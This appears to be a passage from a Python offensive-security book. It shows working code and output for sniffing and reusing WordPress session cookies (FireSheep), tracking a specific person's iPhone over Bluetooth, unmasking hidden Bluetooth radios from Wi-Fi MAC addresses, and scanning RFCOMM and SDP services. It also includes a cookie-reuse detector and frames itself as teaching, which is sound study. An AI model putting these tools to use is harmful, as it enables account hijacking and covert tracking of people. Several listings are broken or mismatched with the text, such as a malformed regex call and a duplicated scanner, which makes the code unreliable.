Authors: TJ O'Connor
At ToorCon 2010, Eric Butler released a game-changing tool known as FireSheep(
Butler, 2010
).This tool provided a simple two-click interface to remotely takeover Facebook, Twitter, Google and a dozen other social media
accounts of unsuspecting users. Eric’s FireSheep tool passively listened in on a wireless card for HTTP cookies provided by those Websites. If a user connected to an unsecure wireless network and did not use any server-side controls such as HTTPS to protect his or her session, FireSheep intercepted those cookies for reuse by an attacker.
Eric provided an easy interface to build handlers to specify the specific session cookies to capture for reuse. Notice that the following handler for Wordpress Cookies contains three functions. First, matchPacket() identifies a Wordpress cookie by looking for the regular expression:
wordpress_[0-9a-fA-F]{32}.
If the function matches this regular expression, processPacket() extracts the Wordpress sessionID cookie. Finally, the identifyUser() function parses out the username to logon to the Wordpress site. The attacker uses all of this information to log on to the Wordpress site.
// Authors:
// Eric Butler
register({
name: ‘Wordpress’,
matchPacket: function (packet) {
for (varcookieName in packet.cookies) {
if (cookieName.match0 {
return true;
}
}
},
processPacket: function () {
this.siteUrl += ‘wp-admin/’;
for (varcookieName in this.firstPacket.cookies) {
if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) {
this.sessionId = this.firstPacket.cookies[cookieName];
break;
}
}
},
identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
this.userName = resp.body.querySelectorAll(‘#user_info a’)[0].textContent;
this.siteName = ‘Wordpress (‘ + this.firstPacket.host + ‘)’;
}
});
Inside of an actual packet, these cookies look like the following. Here a victim running the Safari Web Browser connects to a Wordpress site at www.violentpython.org. Notice the string beginning with wordpress_e3b that contains the sessionID cookie and the username
victim.
GET /wordpress/wp-admin/HTTP/1.1
Host: www.violentpython.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7
Accept: ∗/∗
Referer:
http://www.violentpython.org/wordpress/wp-admin/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%73979%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645122b50046ecbfbeef97=victim%73979%7C3255ef169aa649f771587fd128ef4f57;
wordpress_test_cookie=WP+Cookie+check
Connection: keep-alive
In the following figure, an attacker running the Firesheep toolkit on Firefox/3.6.24 identified the same string sent unencrypted over a wireless network. He then used those exact credentials to login to www.violentpython.org. Notice the HTTP GET request resembles our original request and passes the same cookie, but originates from a different browser. Although it is not depicted here, it is important to note that this request comes from a different IP address, as the attacker would not be using the same machine as the victim.
GET /wordpress/wp-admin/ HTTP/1.1
Host: www.violentpython.org
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,∗/∗;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,∗;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%73979%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645122b50046ecbfbeef97=victim%73979%7C3255ef169aa649f771587fd128ef4f57; wordpress_test_cookie=WP+Cookie+check
Let’s write a quick Python script to parse Wordpress HTTP sessions that contain these session cookies. Because this attack occurs with unencrypted sessions, we will filter by TCP port 80 for the HTTP Protocol. When we see the regular express matching the Wordpress cookie, we can print the cookie contents to the screen. As we only want to see the client traffic, we will not print any cookies from the server that contain the string “Set.”
import re
from scapy.all import ∗
def fireCatcher(pkt):
raw = pkt.sprintf(‘%Raw.load%’)
r = re.findall(‘wordpress_[0-9a-fA-F]{32}’, raw)
if r and ‘Set’ not in raw:
print pkt.getlayer(IP).src+\
“>”+pkt.getlayer(IP).dst+” Cookie:”+r[0]
conf.iface = “mon0”
sniff(filter=”tcp port 80”,prn=fireCatcher)
Running this script, we quickly identify some potential victims connecting over an unencrypted wireless connection over a standard HTTP session to Wordpress sites. When we print their specific session cookies to the screen, we notice that the attacker at 192.168.1.4 has reused the sessionID cookie from the victim at 192.168.1.3.
defender# python fireCatcher.py
192.168.1.3>173.255.226.98
Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3>173.255.226.98
Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97
192.168.1.4>173.255.226.98
To detect an attacker using Firesheep, we have to see if an attacker on a different IP is reusing these cookie values. To detect this, we have to modify our previous script. Now we will build a hash table indexed by the
sessionID
cookie. If we see a Wordpress session, we can insert the value into a hash table and store the IP address associated with that key. If we see that key again, we can compare its value to detect a conflict in our hash table. When we detect a conflict, we know we have the same cookie associated with two different IP addresses.
At this point, we can detect someone trying to steal a Wordpress session and print the result to the screen.
import re
import optparse
from scapy.all import ∗
cookieTable = {}
def fireCatcher(pkt):
raw = pkt.sprintf(‘%Raw.load%’)
r = re.findall(‘wordpress_[0-9a-fA-F]{32}’, raw)
if r and ‘Set’ not in raw:
if r[0] not in cookieTable.keys():
cookieTable[r[0]] = pkt.getlayer(IP).src
print ‘[+] Detected and indexed cookie.’
elif cookieTable[r[0]] != pkt.getlayer(IP).src:
print ‘[∗] Detected Conflict for ‘ + r[0]
print ‘Victim = ‘ + cookieTable[r[0]]
print ‘Attacker = ‘ + pkt.getlayer(IP).src
def main():
parser = optparse.OptionParser(“usage %prog -i
parser.add_option(‘-i’, dest=’interface’, type=’string’,\
help=’specify interface to listen on’)
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
sniff(filter=’tcp port 80’, prn=fireCatcher)
except KeyboardInterrupt:
exit(0)
if __name__ == ‘__main__’:
main()
Running our script, we can identify an attacker who has reused the WordpresssessionID cookie from a victim in an attempt to steal that person’s Wordpress session. At this point we have mastered sniffing 802.11 Wireless networks with Python. Let’s use the next sections to examine how to attack Bluetooth devices with Python.
defender# python fireCatcher.py
[+] Detected and indexed cookie.
[∗] Detected Conflict for:
wordpress_ e3bd8b33fb645122b50046ecbfbeef97
Victim = 192.168.1.3
Attacker = 192.168.1.4
Graduate research can sometimes prove a daunting task. The enormous mission of researching a novel topic requires the cooperation of your team members. I found it extremely useful to know the locations of my team members. As my graduate research revolved around the Bluetooth protocol, it also seemed like an excellent means of keeping tabs on my fellow team members.
To interact with Bluetooth resources, we require the PyBluez Python module. This module extends the functionality provided by the Bluez library to utilize Bluetooth resources. Notice that after we import our Bluetooth library, we can simply utilize the function
discover_devices()
to return an array of MAC addresses of nearby devices with a model of discovery. Next, we can convert the MAC address of a Bluetooth device to a user-friendly string name for the device with the function
lookup_name().
Finally, we can print out the phone device.
from bluetooth import ∗
devList = discover_devices()
for device in devList:
name = str(lookup_name(device))
print “[+] Found Bluetooth Device “ + str(name)
print “[+] MAC address: “+str(device)
Let’s make this inquiry persistent. To do this, we will place this code inside a function called findDevs and only print out new devices that we find. We can use an array called alreadyFound to keep track of the already discovered devices. For each device found, we can check to see if it exists in the array. If not, we will print its name and address to the screen before appending it to the array. Inside of our main code, we can create an infinite loop and that runs findDevs() and then sleeps for 5 seconds.
import time
from bluetooth import ∗
alreadyFound = []
def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print ‘[∗] Found Bluetooth Device: ‘ + str(name)
print ‘[+] MAC address: ‘ + str(addr)
alreadyFound.append(addr)
while True:
findDevs()
time.sleep(5)
Now we can fire up our Python script and see if we can locate any nearby Bluetooth devices. Notice we found a printer and an iPhone. The printout shows their user-friendly names followed by their MAC addresses.
attacker# python btScan.py
[-] Scanning for Bluetooth Devices.
[∗] Found Bluetooth Device: Photosmart 8000 series
[+] MAC address: 00:16:38:DE:AD:11
[-] Scanning for Bluetooth Devices.
[-] Scanning for Bluetooth Devices.
[∗] Found Bluetooth Device: TJ iPhone
[+] MAC address: D0:23:DB:DE:AD:02
We can now write a simple function to alert us when these specific devices are within our range. Notice that we have modified our original function by adding the parameter
tgtName
and searching our discovery list for that specific address.
import time
from bluetooth import ∗
alreadyFound = []
def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print ‘[∗] Found Bluetooth Device: ‘ + str(name)
print ‘[+] MAC address: ‘ + str(addr)
alreadyFound.append(addr)
while True:
findDevs()
time.sleep(5)
At this point we have a weaponized tool to alert us whenever a specific Bluetooth device, such as an iPhone, enters the building.
attacker# python btFind.py
[-] Scanning for Bluetooth Device: TJ iPhone
[∗] Found Target Device TJ iPhone
[+] Time is: 2012-06-24 18:05:49.560055
[+] With MAC Address: D0:23:DB:DE:AD:02
[+] Time is: 2012-06-24 18:06:05.829156
However, this only solves half the problem. Our script only finds devices with their Bluetooth mode set to
discoverable.
Devices with a
hidden
privacy mode hide from device inquires. So how can we find them? Let’s consider a trick to target the iPhone’s Bluetooth radio in hidden mode. Adding 1 to the MAC address of the 802.11 Wireless Radio identifies the Bluetooth Radio MAC address for the iPhone. As the 802.11 Wireless Radio utilizes no layer-2 controls to protect the MAC address, we can simply sniff for it and then use that information to calculate the MAC address of the Bluetooth radio.
Let’s setup our sniffer for the MAC address of the wireless radio. Notice that we are filtering for only MAC addresses that contain a specific set of three bytes for the first three octets of the MAC address. The first three bytes serve as the Organizational Unique Identifier (OUI), which specifies the device manufacturer. You can further investigate this using the OUI database at
http://standards.ieee.org/cgi-bin/ouisearch
.For this specific example, we will use the OUI
d0:23:db
(the OUI for the Apple iPhone 4S product). If you search the OUI database, you can confirm that devices with those 3 bytes belong to Apple.
D0-23-DB (hex) Apple, Inc.
D023DB (base 16) Apple, Inc.
1 Infinite Loop
Cupertino CA 95014
UNITED STATES
Our Python script listens for an 802.11 frame with a MAC address that matches the first three bytes of an iPhone 4S. If detected, it will print this result to the screen and store the 802.11 MAC address.
from scapy.all import ∗
def wifiPrint(pkt):
iPhone_OUI = ‘d0:23:db’
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifiMAC[:8]:
print ‘[∗] Detected iPhone MAC: ‘ + wifiMAC
conf.iface = ‘mon0’
sniff(prn=wifiPrint)
Now that we have identified the MAC address of the 802.11 Wireless Radio of the iPhone, we need to construct the MAC address of the Bluetooth radio. We can calculate the Bluetooth MAC address by incrementing the 802.11 Wi-Fiaddress by 1.
def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(‘:’, ’’), 16) + 1))[2:]
btAddr=btAddr[0:2]+”:”+btAddr[2:4]+”:”+btAddr[4:6]+”:”+\
btAddr[6:8]+”:”+btAddr[8:10]+”:”+btAddr[10:12]
return btAddr
With this MAC address, an attacker can perform a device name inquiry to see if the device actually exists. Even in
hidden
mode, the Bluetooth radio will still respond to a device name inquiry. If the Bluetooth radio responds, we can print the name and MAC address to the screen. There is one caveat—the iPhone product uses a power-saving mode that disables the Bluetooth radio when not paired or in use with another device. However, when the iPhone is paired with a headset or car hands-free audio and in hidden privacy mode, it will still respond to device name inquiries. If during your testing, the script does not seem to work correctly, try pairing your iPhone with another Bluetooth device.
def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print ‘[+] Detected Bluetooth Device: ‘ + btName
else:
print ‘[-] Failed to Detect Bluetooth Device.’
When we put our entire script together, we now have the ability to identify a hidden Bluetooth radio on an Apple iPhone.
from scapy.all import ∗
from bluetooth import ∗
def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(‘:’, ’’), 16) + 1))[2:]
btAddr=btAddr[0:2]+”:”+btAddr[2:4]+”:”+btAddr[4:6]+”:”+\
btAddr[6:8]+”:”+btAddr[8:10]+”:”+btAddr[10:12]
return btAddr
def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print ‘[+] Detected Bluetooth Device: ‘ + btName
else:
print ‘[-] Failed to Detect Bluetooth Device.’
def wifiPrint(pkt):
iPhone_OUI = ‘d0:23:db’
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifiMAC[:8]:
print ‘[∗] Detected iPhone MAC: ‘ + wifiMAC
btAddr = retBtAddr(wifiMAC)
print ‘[+] Testing Bluetooth MAC: ‘ + btAddr
checkBluetooth(btAddr)
conf.iface = ‘mon0’
sniff(prn=wifiPrint)
When we start our script, we can see that it identifies the MAC addresses of an iPhone 802.11 Wireless Radio and its Bluetooth MAC addresses. In the next section we will dig even deeper into the device by scanning for information about the various Bluetooth ports and protocols.
attacker# python find-my-iphone.py
[∗] Detected iPhone MAC: d0:23:db:de:ad:01
[+] Testing Bluetooth MAC: d0:23:db:de:ad:02
[+] Detected Bluetooth Device: TJ’s iPhone
At CeBit in 2004, Herfurt and Laurie demonstrated a Bluetooth vulnerability that they dubbed BlueBug (
Herfurt, 2004
). This vulnerability targeted the Bluetooth RFCOMM transport protocol. RFCOMM emulates RS232 serial ports over the Bluetooth L2CAP protocol. Essentially, this creates a Bluetooth connection to a device that mimics a simple serial cable, allowing a user to initiate phone calls, send SMS, read phonebook entries, forward calls or connect to the Internet over Bluetooth.
While RFCOMM does provide the ability to authenticate and encrypt the connection, manufacturers occasionally omit this functionality and allow unauthenticated connections to the device. Herfurt and Laurie wrote a tool that connects to the unauthenticated channels of the device and issues commands
to control or download the contents of the device. In the following section, we will write a scanner to identify unauthenticated RFCOMM channels.
Looking at the following code, RFCOMM connections appear very similar to standard TCP socket connections. In order to connect to an RFCOMM port, we will create aRFCOMM-typeBluetoothSocket. Next, we pass the connect() function a tuple containing the MAC address and port of our target. If we succeed, we will know that the RFCOMM channel appears open and listening. If the function throws an exception, we know that we cannot connect to that port. We will repeat the connection attempt for each of the 30 possible RFCOMM ports.
from bluetooth import ∗
def rfcommCon(addr, port):
sock = BluetoothSocket(RFCOMM)
try:
sock.connect((addr, port))
print ‘[+] RFCOMM Port ‘ + str(port) + ‘ open’
sock.close()
except Exception, e:
print ‘[-] RFCOMM Port ‘ + str(port) + ‘ closed’
for port in range(1, 30):
rfcommCon(‘00:16:38:DE:AD:11’, port)
When we run our script against a nearby printer, we see five open RFCOMM ports. However, we have no real indication of what services those ports provide. To find out more about these services, we need to utilize the Bluetooth Service Discovery Profile.
attacker# python rfcommScan.py
[+] RFCOMM Port 1 open
[+] RFCOMM Port 2 open
[+] RFCOMM Port 3 open
[+] RFCOMM Port 4 open
[+] RFCOMM Port 5 open
[-] RFCOMM Port 6 closed
[-] RFCOMM Port 7 closed
<..SNIPPED…>
The Bluetooth Service Discovery Protocol (SDP) provides an easy means of describing and enumerating the types of Bluetooth profiles and services offered by a device. Browsing the SDP profile of a device describes the services running
on each unique Bluetooth protocol and port. Using the function find_service()returns an array of records. These records contain the host, name, description, provider, protocol, port, service-class, profiles, and service ID for each available service on the Bluetooth target. For our purposes, our script prints out the service name, protocol and port number.
from bluetooth import ∗
def sdpBrowse(addr):
services = find_service(address=addr)
for service in services:
name = service[’name’]
proto = service[’protocol’]
port = str(service[’port’])
print ‘[+] Found ‘ + str(name)+’ on ‘+\
str(proto) + ‘:’+port
sdpBrowse(‘00:16:38:DE:AD:11’)
When we run our script against our Bluetooth printer, we see that RFCOMM port 2 offers OBEX Object Push profile. The Object Exchange (OBEX) service allows us a capability similar to anonymous FTP in that we can push and pull files anonymously from a system. This might prove something worth investigating further on the printer.
attacker# python sdpScan.py
[+] Found Serial Port on RFCOMM:1
[+] Found OBEX Object Push on RFCOMM:2
[+] Found Basic Imaging on RFCOMM:3
[+] Found Basic Printing on RFCOMM:4
[+] Found Hardcopy Cable Replacement on L2CAP:8193